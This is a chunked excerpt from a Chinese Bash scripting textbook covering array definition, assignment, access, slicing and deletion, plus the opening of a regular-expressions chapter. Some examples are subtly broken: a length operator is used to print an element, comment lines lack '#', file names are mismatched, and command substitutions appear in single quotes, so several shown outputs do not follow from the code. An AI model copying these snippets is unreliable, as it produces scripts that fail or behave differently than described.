    {"text": "【 例7-1 】演示如何通过直接指定元素值来定义数组，代码如下： 01 #-----------------------------/chapter7/ex7-1.sh------------------ 02 #! /bin/bash 03 04 # 指定数组元素值 05 array[1]=one 06 array[3]=three 07 08 # 输出数组元素 09 echo \"${array[@]}\" 在上面的代码中，第5行和第6行分别指定了索引为1和3的两个元素的值，其中数组名称为array。 尽管没有明确定义这个变量名，但是通过第5行和第6行代码，Shell会自动创建一个名称为array的数组，并且将第2个元素和第3个元素的值分别赋为one和two这两个字符串。 第9行以字符串的形式输出整个数组的元素的值，其中${array[@]}表示获取所有数组元素的值，关于该语句的使用方法，将在随后介绍。"},
    {"text": "该程序的执行结果如下： [root@linux chapter7]# ./ex7-1.sh one three 从上面的执行结果可以得知，第9行代码的echo语句输出了第5行和第6行定义的两个元素的值，这两个值之间用空格隔开。"},
    {"text": "在使用该语句定义数组时，其基本语法如下： declare -a array 在上面的语法中，-a选项表示后面定义的是一个数组，其名称为array。 【例7-2】演示如何通过declare语句来声明数组，代码如下： 01 #-----------------------------/chapter7/ex7-2.sh------------------ 02 #! /bin/bash 03 04 # 定义数组 05 declare -a array 06 # 为元素赋值 07 array[0]=1 08 array[1]=2 09 # 输出元素值 10 echo \"${array[@]}\" 在上面的代码中，第5行通过declare语句声明了一个名称为array的数组，接下来的两行代码是为数组元素赋值，第10行输出所有元素的值。"},
    {"text": "该程序的执行结果如下： [root@linux chapter7]# ./ex7-2.sh 1 2 7.1.3 通过元素值集合定义数组 在某些情况下，用户可能需要一次性为数组的所有元素提供一个值。"},
    {"text": "此时，用户可以以元素值集合的形式来定义数组，其基本语法如下： array=( v 0 v 1 v 2 ... v n ) 在上面的语法中，array表示数组名称，等号后面的是所有的元素值的集合，这些值按照一定的顺序来排列，之间用空格隔开，最后所有的值用圆括号括起来。"},
    {"text": "【 例7-3 】演示如何通过元素值集合来创建数组变量，代码如下： 01 #-----------------------------/chapter7/ex7-3.sh------------------ 02 #! /bin/bash 03 04 # 定义数组 05 array=(1 2 3 4 5 6 7 8) 06 # 输出第 1 个数组元素的值 07 echo \"the first element is ${#array[0]}\" 08 # 输出所有元素的值 09 echo \"the elements of this array are ${array[@]}\" 10 # 输出数组长度 11 echo \"the size of the array is ${#array[@]}\" 在上面的代码中，第5行通过8个值来创建一个名称为array的数组。 第7行输出第1个元素的值，第9行输出所有元素的值，第11行输出数组的长度，其中变量${@array[@]}表示数组中元素的个数。"},
    {"text": "该程序的执行结果如下： [root@linux chapter7]# ./ex7-3.sh the first element is 1 the elements of this array are 1 2 3 4 5 6 7 8 the size of the array is 8 从上面的执行结果可以得知，第1个值1赋给了下标为0的第1个元素。"},
    {"text": "此时，用户可以使用键值对的方式来定义数组，其基本语法如下： array=([0]=value 0 [1]=vlaue 1 [2]=value 2 ... [n]=value n ) 在上面的语法中，等号左边的array表示数组名，等号右边的圆括号表示数组元素及其值。 其中方括号里面的数字表示数组元素的索引（下标），value0、value1、value2…valuen表示所对应的元素的值。"},
    {"text": "【 例7-4 】演示通过键值对定义数组的方法，代码如下： 01 #-----------------------------/chapter7/ex7-5.sh------------------ 02 #! /bin/bash 03 04 # 定义数组 05 array=([1]=one [4]=four) 06 # 输出数组长度 07 echo \"the size of the array is ${#array[@]}\" 08 # 输出索引为 4 的元素的值 09 echo \"the fourth element is ${array[4]}\" 在上面的代码中，第5行定义了一个名称为array的数组变量，同时为该数组指定了两个元素的值，其索引分别为1和4。"},
    {"text": "该程序的执行结果如下： [root@linux chapter7]# ./ex7-4.sh the size of the array is 2 the fourth element is four 从上面的执行结果可以得知，【例7-4】所定义的数组的元素的个数为2，其中索引为4的元素的值为four。"},
    {"text": "在使用关联数组时，需要首先使用declare语句来声明数组，然后再通过键值对的形式为数组元素提供值。 【 例7-5 】演示关联数组的使用方法，代码如下： 01 #-----------------------------/chapter7/ex7-5.sh------------------ 02 #! /bin/bash 03 04 # 声明数组 05 declare -A array 06 07 # 为数组赋值 08 array=([flower]=rose [fruit]=apple) 09 # 输出第 1 个元素的值 10 echo \"the flower is ${array[flower]}\" 11 # 输出第 2 个元素的值 12 echo \"the fruit is ${array[fruit]}\" 13 # 输出数组长度 14 echo \"the size of the array is ${#array[@]}\" 在上面的代码中，第8行通过含有-A选项的declare语句声明了一个名称为array的数组，为该数组提供了两个键值对，其中第1个键值对的索引为字符串flower，第2个键值对的索引为fruit。"},
    {"text": "该程序的执行结果如下： [root@linux chapter7]# ./ex7-5.sh the flower is rose the fruit is apple the size of the array is 2 从上面的执行结果可以得知，所有元素的值都被正确地输出。"},
    {"text": "【 例7-6 】演示如何将普通变量作为数组来处理，代码如下： 01 #-----------------------------/chapter7/ex7-6.sh------------------ 02 #! /bin/bash 03 04 # 定义字符串变量 05 array=\"hello, world.\" 06 # 输出下标为 0 的元素的值 07 echo \"${array[0]}\" 08 # 输出所有元素的值 09 echo \"${array[@]}\" 10 # 输出所有元素的值 11 echo \"${array[*]}\" 在上面的代码中，第5行定义了了一个名称为array的普通变量，并且赋予一个字符串作为初始值。"},
    {"text": "该程序的执行结果如下： [root@linux chapter7]# ./ex7-6.sh hello, world. hello, world. hello, world. 从上面的执行结果可以得知，3条echo语句都输出了相同的内容，都是第5行代码赋予普通变量的字符串。"},
    {"text": "7.2 数组的赋值 当用户定义好数组之后，就可以用它来存储数据了。 这就需要为数组赋值。 数组的赋值与普通变量的赋值有许多不同之处，本节将介绍如何在Shell中为数组赋值。 7.2.1 按索引为元素赋值 在Shell中，为数组元素赋值有两种基本的方法，分别是按索引赋值和以集合的形式赋值。 其中，按索引赋值是最基本的赋值方法，其基本语法如下： array[n]=value n 其中，array是数组名称，方括号里面的n表示元素的索引，等号右边的value n 表示元素n的值。 以上语法表示将索引为n的元素的值赋为valuen。 【 例7-7 】演示通过索引来为数组赋值的方法，代码如下： 01 #-----------------------------/chapter7/ex7-7.sh------------------ 02 #! /bin/bash 03 04 # 定义数组 05 students=(John Rose Tom Tim) 06 07 # 输出元素值 08 echo \"the old students are: ${students[*]}\" 09 10 # 改变第 1 个元素的值 11 students[0]=Susan 12 # 改变第 4 个元素的值 13 students[3]=Jack 14 # 输出数组新的值 15 echo \"the new students are: ${students[*]}\" 16 17 # 声明关联数组 18 declare -A grades 19 # 初始化新的数组 20 grades=([john]=90 [rose]=87 [tim]=78 [tom]=85 [jack]=76) 21 # 输出数组元素值 22 echo \"the old grades are: ${grades[@]}\" 23 # 改变 Tim 的分数 24 grades[tim]=84 25 # 重新输出数组元素值 26 echo \"the new grades are: ${grades[@]}\" 在上面的代码中，一共定义了两个数组。"},
    {"text": "该程序的执行结果如下： [root@linux chapter7]# ./ex7-7.sh the old students are: John Rose Tom Tim the new students are: Susan Rose Tom Jack the old grades are: 78 87 76 85 90 the new grades are: 84 87 76 85 90 从上面的执行结果可以得知，通过索引可以明确指定要修改数组中的那个元素的值。"},
    {"text": "当为某个数组提供一组值时，Shell会从第1个元素开始，依次将这些值赋给每个元素。 当新的值的个数超过原来的数组长度时，Shell会在数组末尾追加新的元素； 当新的值的个数少于原来的数组长度时， Shell会将新的值从第1个元素开始赋值，然后删除超出的元素。"},
    {"text": "【 例7-8 】演示通过集合为数组元素赋值的方法，代码如下： 01 #-----------------------------/chapter7/ex7-8.sh------------------ 02 #! /bin/bash 03 04 # 定义数组 05 a=(a b c def) 06 # 输出所有元素的值 07 echo \"${a[@]}\" 08 09 # 为数组元素重新赋值 10 a=(h i j k l) 11 # 输出所有元素的值 12 echo \"${a[@]}\" 13 # 为数组元素重新赋值 14 15 a=(m n) 16 echo \"${a[@]}\" 在上面的代码中，第5行定义了一个名称为a的数组，并且赋予了4个初始值。"},
    {"text": "该程序的执行结果如下： [root@linux chapter7]# ./ex7-8.sh a b c def h i j k l m n 从上面的执行结果可以得知，第1次输出了最初的4个值，第2次输出了新的5个值，而第3次只输出了2个值。"},
    {"text": "【 例7-9 】演示如何在数组末尾追加新的数组元素，代码如下： 01 #-----------------------------/chapter7/ex7-9.sh------------------ 02 #! /bin/bash 03 04 # 定义数组 05 array=(1 2) 06 # 输出数组 07 echo \"${array[@]}\" 08 # 向数组末尾追加元素 09 array[2]=3 10 array[3]=4 11 echo \"${array[@]}\" 该程序的执行结果如下： [root@linux chapter7]# ./ex7-9.sh 1 2 1 2 3 4 从上面的执行结果可以得知，当执行第9行和第10行代码之后，数组元素由原来的2个增加为4个，同时，原来的数组元素仍然保持。"},
    {"text": "【 例7-10 】演示向关联数组追加新元素的方法，代码如下： 01 #-----------------------------/chapter7/ex7-10.sh------------------ 02 #! /bin/bash 03 04 # 定义数组 05 declare -A array 06 # 初始化数组 07 array=([a]=a [b]=b) 08 09 echo \"the old elements are ${array[@]}\" 10 # 向数组追加元素 11 array[c]=c 12 13 echo \"the new elements are ${array[@]}\" 在上面的代码中，第5行使用declare语句定义了一个关联数组。"},
    {"text": "该程序的执行结果如下： [root@linux chapter7]# ./ex7-10.sh the old elements are a b the new elements are a b c 从上面的执行结果可以得知，新的数组元素已经被追加。"},
    {"text": "否则会出现以下错误： ./ex7-9.sh: line 7: array: 1: must use subscript when assigning associative array 7.2.4 通过循环为数组元素赋值 在实践中，最常用的数组赋值方法是通过一个循环语句逐个为每个元素提供值。"},
    {"text": "【 例7-11 】演示为数组元素逐个赋值的方法。 在本例中，通过for循环语句将1～10这10个数字赋给一个数组，代码如下： 01 #-----------------------------/chapter7/ex7-11.sh------------------ 02 #! /bin/bash 03 04 # 通过循环为数组赋值 05 for i in {1..10} 06 do 07 array[$i]=$i 08 done 09 # 输出元素的值 10 echo \"${array[@]}\" 在上面的代码中，第5行是for循环语句的开始，其中变量i为循环变量。 for循环语句将依次把1～10这10个整数赋给该变量。 第7行是赋值语句，其中等号左边方括号里面的变量i为数组元素的索引，等号右边为将要赋给数组元素的值。"},
    {"text": "该程序的执行结果如下： [root@linux chapter7]# ./ex7-11.sh 1 2 3 4 5 6 7 8 9 10 7.3 访问数组 当用户将数据存储到数组之后，下一步就是如何读取这些数组元素的值。"},
    {"text": "【 例7-12 】演示通过数组名访问第1个元素的值，代码如下： 01 #-----------------------------/chapter7/ex7-12.sh------------------ 02 #! /bin/bash 03 04 # 定义数组 05 array=(1 2 3 4 5) 06 # 通过数组名访问数组 07 echo \"${array}\" 在上面的代码中，第7行的大括号里面不再是array[@]，而直接是数组名。 下面看一下程序的执行结果，如下： [root@linux chapter7]# ./ex7-12.sh 1 可以发现，【例7-12】输出了数组的第1个元素的值。"},
    {"text": "7.3.2 通过下标访问数组元素 与其他程序设计语言一样，通常情况下，访问数组中某个具体的元素都是通过下标来指定的，其基本语法如下： array[n] 其中array表示数组名称，n表示下标。"},
    {"text": "【 例7-13 】演示如何通过下标来访问数组的元素，代码如下： 01 #-----------------------------/chapter7/ex7-13.sh------------------ 02 #! /bin/bash 03 04 # 定义数组 05 array=(Mon Tue Wed Thu Fri Sat Sun) 06 # 输出下标为 0 的元素 07 echo \"the first element is ${array[0]}\" 08 # 输出下标为 3 的元素 09 echo \"the fourth element is ${array[3]}\" 该程序的执行结果如下： [root@linux chapter7]# ./ex7-13.sh the first element is Mon the fourth element is Thu 在使用下标访问数组元素时，一定要注意Shell中的数组的下标是从0开始，与Java或者C++等语言保持一致。"},
    {"text": "该操作符的基本语法如下： ${#array[@]} 或者 ${#array[*]} 在上面的语法中，array表示数组名称，方括号中的@或者*是通配符，表示匹配所有的元素。 【 例7-14 】演示如何使用$#操作符来获取数组长度，代码如下： 01 #-----------------------------/chapter7/ex7-14.sh------------------ 02 #! /bin/bash 03 04 # 定义数组 05 array=(Mon Tue Wed Thu Fri Sat Sun) 06 # 输出数组长度 07 echo \"the length of the array is ${#array[@]}\" 第5行定义了一个含有7个元素的数组。"},
    {"text": "该程序的执行结果如下： [root@linux chapter7]# ./ex7-14.sh the length of the array is 7 通过$#操作符，除了可以获取整个数组的长度之外，还可以获取某个数组元素的长度。 当使用该操作符获取具体元素的长度时，其基本语法如下： ${#array[n]} 在上面的语法中，array表示数组名称，n表示元素的下标。 【 例7-15 】演示如何通过$#操作符获取某个数组元素的长度，代码如下： 01 #-----------------------------/chapter7/ex7-15.sh------------------ 02 #! /bin/bash 03 04 # 定义数组 05 linux[0]=\"Debian\" 06 linux[1]=\"RedHat\" 07 linux[2]=\"Ubuntu\" 08 linux[3]=\"Suse\" 09 10 # 输出第 4 个元素 11 echo \"the fourth element is ${linux[3]}\" 12 # 输出第 4 个元素的值 13 echo \"the length of the fourth element is ${#linux[3]}\" 14 # 输出第 1 个元素的值 15 echo \"the first element is ${linux}\" 16 # 输出第 1 个元素的长度 17 echo \"the length of the first element is ${#linux}\" 在上面的代码中，第5～8行定义了含有4个元素的数组，第11行输出第4个元素的值，第13行输出第4个元素的长度。"},
    {"text": "该程序的执行结果如下： [root@linux chapter7]# ./ex7-15.sh the fourth element is Suse the length of the fourth element is 4 the first element is Debian the length of the first element is 6 从上面的执行结果可以得知，第4个元素为Suse，其字符串长度为4。"},
    {"text": "7.3.4 通过循环遍历数组元素 在程序设计时，数组的遍历是一个极其常见的操作。 通常情况下，用户需要使用循环结构来实现数组元素的遍历。 【 例7-16 】演示如何通过for循环结构来遍历数组，代码如下： 01 #-----------------------------/chapter7/ex7-16.sh------------------ 02 #! /bin/bash 03 04 # 定义数组 05 array=(Mon Tue Wed Thu Fri Sat Sun) 06 # 通过下标访问数组 07 for i in {0..6} 08 do 09 echo \"${array[$i]}\" 10 done 在上面的代码中，第6～9行通过循环依次输出数组的各个元素。 该程序的执行结果如下： [root@linux chapter7]# ./ex7-16.sh Mon Tue Wed Thu Fri Sat Sun 在【例7-16】中，for循环结构需要预先知道数组元素的个数。"},
    {"text": "【 例7-17 】本例对【例7-16】中的算法进行改进，代码如下： 01 #-----------------------------/chapter7/ex7-17.sh------------------ 02 #! /bin/bash 03 04 array=(Mon Tue Wed Thu Fri Sat Sun) 05 # 获取数组长度 06 len=\"${#array[@]}\" 07 # 通过循环结构遍历数组 08 for ((i=0;i<$len;i++)) 09 do 10 echo \"${array[$i]}\" 11 done 在上面的代码中，第6行通过操作符$#获取当前数组array的长度，并且将其赋给变量len。"},
    {"text": "前面介绍过，用户可以通过下标来访问某个具体的数组元素。 但是，如果用户指定下标为@或者*，则表示引用当前数组中的所有的元素。 其中，符号@或者*称为通配符，表示匹配所有的元素。"},
    {"text": "在本例中用户通过通配符来获取所有的数组元素，并且将其作为for循环的条件，然后在循环体中依次对各个数组元素进行处理。 代码如下： 01 #-----------------------------/chapter7/ex7-18.sh------------------ 02 #! /bin/bash 03 04 array=(Mon Tue Wed Thu Fri Sat Sun) 05 # 通过循环输出所有的数组元素 06 for e in \"${array[@]}\" 07 do 08 echo \"$e\" 09 done 用户已经知道，for循环结构的一种就是使用列表作为循环条件。 而使用通配符@或者*获取的数组元素的值恰好是以列表的形式呈现的，所以用户可以很方便地将其作为for循环语句的列表条件。"},
    {"text": "该程序的执行结果如下： [root@linux chapter7]# ./ex7-18.sh Mon Tue Wed Thu Fri Sat Sun 7.3.6 以切片方式获取部分数组元素 所谓切片，是指截取数组的部分元素或者某个元素的部分内容。"},
    {"text": "获取切片的基本语法如下： ${array [@|*]:start:length} 在上面的语法中，array表示数组名称，方括号中的符号@和*的涵义与前面介绍的完全相同，都是通配符，表示匹配所有的数组元素，两者只能选择一个。"},
    {"text": "【 例7-19 】演示如何进行数组切片，代码如下： 01 #-----------------------------/chapter7/ex7-19.sh------------------ 02 #! /bin/bash 03 04 linux=(\"Debian\" \"RedHat\" \"Ubuntu\" \"Suse\" \"Fedora\" \"UTS\" \"CentOS\") 05 # 数组切片 06 echo ${linux[@]:2:4} 在上面的代码中，第4行定义了一个含有7个元素的数组。"},
    {"text": "【 例7-20 】演示将切片结果赋给变量的方法，代码如下： 01 #-----------------------------/chapter7/ex7-20.sh------------------ 02 #! /bin/bash 03 04 linux=(\"Debian\" \"RedHat\" \"Ubuntu\" \"Suse\" \"Fedora\" \"UTS\" \"CentOS\") 05 # 将切片结果赋给一个变量 06 var=${linux[@]:2:4} 07 08 echo \"$var\" 在上面的代码中，第6行将切片结果赋给了一个名称为var的变量，第8行输出该变量的值。 该程序的执行结果与【例7-19】完全相同，如下： [root@linux chapter7]# ./ex7-20.sh Ubuntu Suse Fedora UTS 但是，在某些情况下，用户可能希望切片得到的结果仍然是一个数组。"},
    {"text": "要得到这个结果，用户可以使用圆括号操作符，其基本语法如下： (${array [@|*]:start:length}) 上面的语法只是在原来的基础上增加了一对圆括号。"},
    {"text": "本例将切片的结果赋给了一个新的数组变量，然后输出新的数组的长度，最后通过循环输出所有的数组元素。 代码如下： 01 #-----------------------------/chapter7/ex7-21.sh------------------ 02 #! /bin/bash 03 04 # 定义数组 05 linux=(\"Debian\" \"RedHat\" \"Ubuntu\" \"Suse\" \"Fedora\" \"UTS\" \"CentOS\") 06 # 切片 07 array=(${linux[@]:2:4}) 08 # 获取新的数组的长度 09 length=\"${#array[@]}\" 10 # 输出数组长度 11 echo \"the length of new array is $length\" 12 # 通过循环输出各个元素 13 for ((i=0;i<$length;i++)) 14 do 15 echo \"${array[$i]}\" 16 done 在上面的代码中，第7行将切片结果赋给了新的数组变量array，第13行通过for循环结果输出所有的数组元素。"},
    {"text": "该程序的执行结果如下： [root@linux chapter7]# ./ex7-21.sh the length of new array is 4 Ubuntu Suse Fedora UTS 从上面的执行结果可以得知，新的数组的长度为4。"},
    {"text": "【 例7-22 】演示如何对数组元素进行切片，代码如下： 01 #-----------------------------/chapter7/ex7-22.sh------------------ 02 #! /bin/bash 03 04 linux=(\"Debian\" \"RedHat\" \"Ubuntu\" \"Suse\" \"Fedora\" \"UTS\" \"CentOS\") 05 # 对数组元素切片 06 str=(${linux[4]:2:4}) 07 # 输出切片结果 08 echo \"$str\" 在上面的代码中，第6行对下标为4的第5个元素进行切片，从第3个字符开始，截取其中的4个字符。"},
    {"text": "该程序的执行结果如下： [root@linux chapter7]# ./ex7-22.sh dora 从上面的执行结果可以得知，下标为4的元素为Fedora，从0开始计算，位于位置2的字符为d，从d开始数起，第4个字符为a，所以最终得到的结果为dora。"},
    {"text": "注意： 无论是对数组进行切片还是对数组元素进行切片，如果其中的长度值超过数组或者数组元素的长度，都会截取到数组或者数组元素的末尾为止。"},
    {"text": "数组元素替换的基本语法如下： ${array[@|*]/pattern/replacement} 在上面的语法中，array表示要操作的数组名称，pattern参数表示要搜索的字符串， replacement参数表示用来替换的字符串。"},
    {"text": "【 例7-23 】演示如何对数组进行替换，以及如何将替换的结果赋给一个新的数组变量。 代码如下： 01 #-----------------------------/chapter7/ex7-23.sh------------------ 02 #! /bin/bash 03 04 # 定义数组 05 a=(1 2 3 4 5) 06 # 输出替换结果 07 echo \"the result is ${a[@]/3/100}\" 08 # 输出原始数组 09 echo \"the old array is ${a[@]}\" 10 # 将替换结果赋给一个数组变量 11 a=(${a[@]/3/100}) 12 # 输出新的数组变量的值 13 echo \"the new array is ${a[@]}\" 在上面的代码中，第5行定义了一个由数字组成的数组。"},
    {"text": "该程序的执行结果如下： [root@linux chapter7]# ./ex7-23.sh the result is 1 2 100 4 5 the old array is 1 2 3 4 5 the new array is 1 2 100 4 5 其中，第1行的字符串是代码第7行的输出结果，可以发现其中的3已经被替换成了100。"},
    {"text": "7.4 删除数组 当某个数组变量不再需要时，用户可以将其删除，从而释放相应的内存。 用户可以删除整个数组，也可以删除其中的数组元素。 下面将介绍如何对数组或者元素进行删除。 7.4.1 删除指定数组元素 与删除其他的Shell变量一样，用户可以使用unset命令来删除某个数组元素，其基本语法如下： unset array[n] 在上面的语法中，array表示数组名称，n表示要删除的数组元素的下标，从0开始计算。 【 例7-24 】演示如何删除数组元素，代码如下： 01 #-----------------------------/chapter7/ex7-24.sh------------------ 02 #! /bin/bash 03 04 linux=(\"Debian\" \"RedHat\" \"Ubuntu\" \"Suse\" \"Fedora\" \"UTS\" \"CentOS\") 05 输出原始数组长度 06 echo \"the length of original array is ${#linux[@]}\" 07 # 输出数组的原始值 08 echo \"the old array is ${linux[@]}\" 09 # 删除下标为 3 的元素 10 unset linux[3] 11 输出新的数组的长度 12 echo \"the length of new array is ${#linux[@]}\" 13 # 输出新的数组的值 14 echo \"the new array is ${linux[@]}\" 在上面的代码中，第6行输出原始数组的值，第10行删除下标为3的数组元素，第13行重新输出新的数组的值。 该程序的执行结果如下： [root@linux chapter7]# ./ex7-24.sh the length of original array is 7 the old array is Debian RedHat Ubuntu Suse Fedora UTS CentOS the length of new array is 6 the new array is Debian RedHat Ubuntu Fedora UTS CentOS 从上面的执行结果可以得知，下标为3的数组元素Suse已经被删除。"},
    {"text": "7.4.2 删除整个数组 如果某个数组不再需要了，用户同样可以使用unset命令来将其删除，基本语法如下： unset array 其中，array表示要删除的数组的名称。 【 例7-25 】演示如何删除整个数组，代码如下： 01 #-----------------------------/chapter7/ex7-1.sh------------------ 02 #! /bin/bash 03 04 linux=(\"Debian\" \"RedHat\" \"Ubuntu\" \"Suse\" \"Fedora\" \"UTS\" \"CentOS\") 05 # 删除整个数组 06 unset linux 07 echo \"${linux[@]}\" 在上面的代码中，第6行使用unset删除了名称为linux的数组，第7行输出数组的内容。"},
    {"text": "7.5 数组的其他操作 Shell的数组还提供了许多其他的操作，例如数组的复制、数组的连接，以及从文本文件中加载数据到数组，对于用户来说，这些操作也非常重要，本节将详细介绍这操作的实现方法。"},
    {"text": "【例7-26】 演示数组复制的方法，代码如下： 01 #-----------------------------/chapter7/ex7-26.sh------------------ 02 #! /bin/bash 03 04 linux=(\"Debian\" \"RedHat\" \"Ubuntu\" \"Suse\" \"Fedora\" \"UTS\" \"CentOS\") 05 # 复制数组 06 linux2=(\"${linux[@]}\") 07 echo \"${linux2[@]}\" 在上面的代码中，第6行创建了一个名称为linux2的数组副本，第7行输出新的数组的内容。 该程序的执行结果如下： [root@linux chapter7]# ./ex7-26.sh Debian RedHat Ubuntu Suse Fedora UTS CentOS 可以发现，新的数组的内容与原来的数组的内容完全相同。"},
    {"text": "【 例7-27 】演示连接数组的方法，代码如下： 01 #-----------------------------/chapter7/ex7-27.sh------------------ 02 #! /bin/bash 03 04 # 定义 2 个数组 05 linux=(\"Debian\" \"RedHat\" \"Ubuntu\" \"Suse\" \"Fedora\" \"UTS\" \"CentOS\") 06 shell=(\"bash\" \"csh\" \"ksh\" \"rsh\" \"sh\" \"rc\" \"tcsh\") 07 08 # 连接数组 09 linuxshell=(\"${linux[@]}\" \"${shell[@]}\") 10 11 # 输出合并后的数组 12 echo \"the new array is ${linuxshell[@]}\" 13 # 输出新的数组的长度 14 echo \"the length of new array is ${#linuxshell[@]}\" 在上面的代码中，第5～6行分别定义了2个数组。"},
    {"text": "该程序的执行结果如下： [root@linux chapter7]# ./ex7-27.sh the new array is Debian RedHat Ubuntu Suse Fedora UTS CentOS bash csh ksh rsh sh rc tcsh the length of new array is 14 从上面的执行结果可以得知，第1个数组的元素排在新数组的前面，第2个数组的元素排在新数组的后面。"},
    {"text": "首先准备一个文本文件，该文件比较简单，只包含4行文本，内容如下： [root@linux chapter7]# cat demo.txt Ubuntu Suse Fedora UTS 【 例7-28 】演示如何将demo.txt文件的内容加载到一个数组中，然后将数组的内容依次打印出来。 代码如下： 01 #-----------------------------/chapter7/ex7-28.sh------------------ 02 #! /bin/bash 03 04 # 加载文件内容 05 content=(`cat \"demo.txt\"`) 06 # 通过循环输出数组内容 07 for s in \"${content[@]}\" 08 do 09 echo \"$s\" 10 done 在上面的代码中，第5行将cat命令的执行结果赋给数组变量content。"},
    {"text": "主要内容包括数组的定义、数组的赋值、数组元素的访问方法、删除数组，以及数组的其他的操作方法等。 重点在于掌握Shell数组的定义方法、引用数组元素的基本语法、数组元素的赋值方法，以及如何删除某个数组元素或者整个数组变量等。"},
    {"text": "它通过一个字符串来描述、匹配一系列符合某个语法规则的字符串，从而可以对这些符合语法规则的字符串进行相应的处理，例如替换或者修改。"},
    {"text": "什么是正则表达式：主要介绍什么是正则表达式、为什么要学习正则表达式，以及如何学习和实践正则表达式。 正则表达式基础：主要介绍正则表达式的元字符和扩展元字符、如何匹配单个字符、如何匹配多个字符、如何匹配字符串的开头或者结尾，以及运算符的优先级。"},
    {"text": "对于接触过Linux或者UNIX的用户来说，下面的命令并不陌生： [root@linux ~]# ls -l *.txt -rw-r--r-- 1 root root 598 Nov 11 2009 install.txt -rw-r--r-- 1 root root 58 Dec 15 2008 robots.txt -rw-r--r-- 1 root root 23 Oct 11 2010 version.txt 上面的命令非常简单，其作用是列出以.txt结尾的文件名，其中的星号“*”表示匹配任意的字符串。"},
    {"text": "1940年，美国新泽西州的Warren McCulloch和出生在美国底特律的Walter Pitts这两位神经生理学家，研究出了一种使用数学方式来描述神经网络的方法。"},
    {"text": "1956年，美国数学家斯蒂芬•科尔•克莱尼使用称为正则集合的数学符号来描述Warren McCulloch和Walter Pitts建立的模型，并由此引入了正则表达式的概念。"},
    {"text": "后来，美国的另外一位著名的计算机科学家肯•汤普逊（Ken Thompson），也就是大名鼎鼎的UNIX之父，将正则表达式引入了UNIX中的一个名称为QED的编辑器中。"},
    {"text": "最后，某些UNIX的命令例如grep也提供了对于正则表达式的支持。 目前，正则表达式在UNIX或者Linux中得到了广泛地应用。 常见的支持正则表达式的UNIX工具如下所列。"},
    {"text": "8.1.3 如何实践正则表达式 当一个正则表达式完成之后，要保证这个表达式一定是准确的，就需要不断地测试，这样才可以确定其正确与否。"},
    {"text": "【 例8-1 】演示如何通过正则表达式来查找字符串，代码如下： 01 #-----------------------------/chapter8/ex8-1.sh------------------ 02 #! /bin/bash 03 04 str='cat version.txt|grep rev' 05 echo \"$str\" 在上面的代码中，第4行将Shell命令cat和grep的执行结果赋给变量str，第5行输出该变量的值。"},
    {"text": "其中文本文件version.txt的内容请参见本书配套光盘的chapter7目录中的version.txt，如下： app= 4.8.5 rev= 55324 上面的文件的内容比较简单，只有两行。"},
    {"text": "【 例8-1 】的执行结果如下： [root@linux chapter8]# ./ex8-1.sh rev= 55324 在【例8-1】中，cat命令用来显示文件的内容，其后的竖线|是管道，表示将cat命令的输出结果作为后面的那个命令的输入。"},
    {"text": "8.2 正则表达式基础 通过前面一节的学习，用户对于正则表达式应该有了初步的了解。 本节将在前面一节的基础上，逐步介绍正则表达式的基础知识，主要是各种元字符及其使用方法。 8.2.1 正则表达式的原理 简单地讲，正则表达式是对文本进行过滤的工具。 而正则表达式之所以拥有过滤文本的功能，是因为它定义了一系列的元字符，通过元字符配合其他的字符来表达出一种规则，只有符合该规则的文本才能保留下来，而不符合该规则的文本则被过滤掉。 如图8-1所示，描述了正则表达式在处理文本时的过程。"},
    {"text": "所谓元字符，是指用来描述字符的字符。 元字符的作用在于对字符表达式的内容、转换以及各种操作信息进行描述。 而正则表达式（Regular Expression，RE）就是由各种元字符和一般字符构成的字符串。"},
    {"text": "图8-1 正则表达式处理文本的流程 8.2.2 基本正则表达式 基本正则表达式（Basic Regular Expression，BRE），又称为标准正则表达式，是最早制订的正则表达式规范，仅支持最基本的元字符集。 基本正则表达式是POSIX规范制订的两种正则表达式语法标准之一，另外一种语法标准称为扩展正则表达式，将在随后介绍。"},
    {"text": "1．行首定位符“^” “^”称为行首定位符，是正则表达式中的定位符之一，用来匹配行首的字符，表示行首的字符是“^”后面的那个字符。 正则表达式中的定位符的作用与其他的元字符不同，它们不是用来匹配具体的文本，而是匹配某个具体的位置，例如行首定位符“^”就是用来匹配文本行的开头的字符的。"},
    {"text": "【 例8-2 】演示行首定位符的用法，代码如下： 01 #-----------------------------/chapter8/ex8-2.sh------------------ 02 #! /bin/bash 03 04 # 列出 /etc 目录中的以字母 po 开头的文件 05 str='ls /etc | grep \"^po\"' 06 echo \"$str\" 在上面的代码中，第5行通过ls命令列出/etc目录中的文件，然后将执行结果传递给grep命令，通过grep命令筛选出以字符串“po”开头的文件名。 注意： 尽管本书在解释行首定位符的时候使用了以某个字符串开头的说法，但是希望大家养成按照字符来理解正则表达式的习惯，即不要将“^po”理解为以字符串“po”开头的文本行，而是理解为第一个字符为字母“p”，紧跟着一个字母“o”的文本行。"},
    {"text": "该程序的执行结果如下： [root@linux chapter8]# ./ex8-2.sh polkit-1 popt.d portreserve postfix 2．行尾定位符“$” 与行首定位符的作用恰恰相反，行尾定位符的作用是用来定位文本行的末尾的。"},
    {"text": "【 例8-3 】演示行尾定位符的使用方法，代码如下： 01 #-----------------------------/chapter8/ex8-3.sh------------------ 02 #! /bin/bash 03 04 # 列出 /etc 目录中以 conf 结尾的文件名 05 str='ls /etc | grep \"conf$\"' 06 07 echo \"$str\" 与【例8-2】相反，该例将/etc目录中的以“conf”结尾的文件名罗列出来。 该例的执行结果如下： [root@linux chapter8]# ./ex8-3.sh anthy-conf asound.conf autofs_ldap_auth.conf cas.conf cgconfig.conf … 同样，用户在理解行尾定位符的时候，也应该从字符的角度去理解，也就是说【例8-3】匹配的是以字母“f”结尾，同时倒数第2～4个字符分别为“n”、“o”和“c”的文本行。"},
    {"text": "当学习完行首定位符和行尾定位符之后，细心的读者可能会提出一个疑问，即如何精确地匹配一个文本行？ 实际上，配合使用行首定位符和行尾定位符，可以很方便地解决这个问题，那就是将需要匹配的字符全部放在行首定位符和行尾定位符之间就可以了。"},
    {"text": "例如，下面的表达式就筛选出完全匹配“cat”的文本行： ^cat$ 上面的表达式表示匹配以字符“c”开头，紧接着一个字母“a”，最后以字符“t”结尾的文本行，除了这3个字符之外，文本行中不含有其他任何字符。"},
    {"text": "如果用户将行首定位符和行尾定位符直接连起来，变成以下表达式，会发生什么情况： ^$ 上面的表达式所描述的规则就是同时匹配文本行的开头和结尾，所匹配的字符为空字符。"},
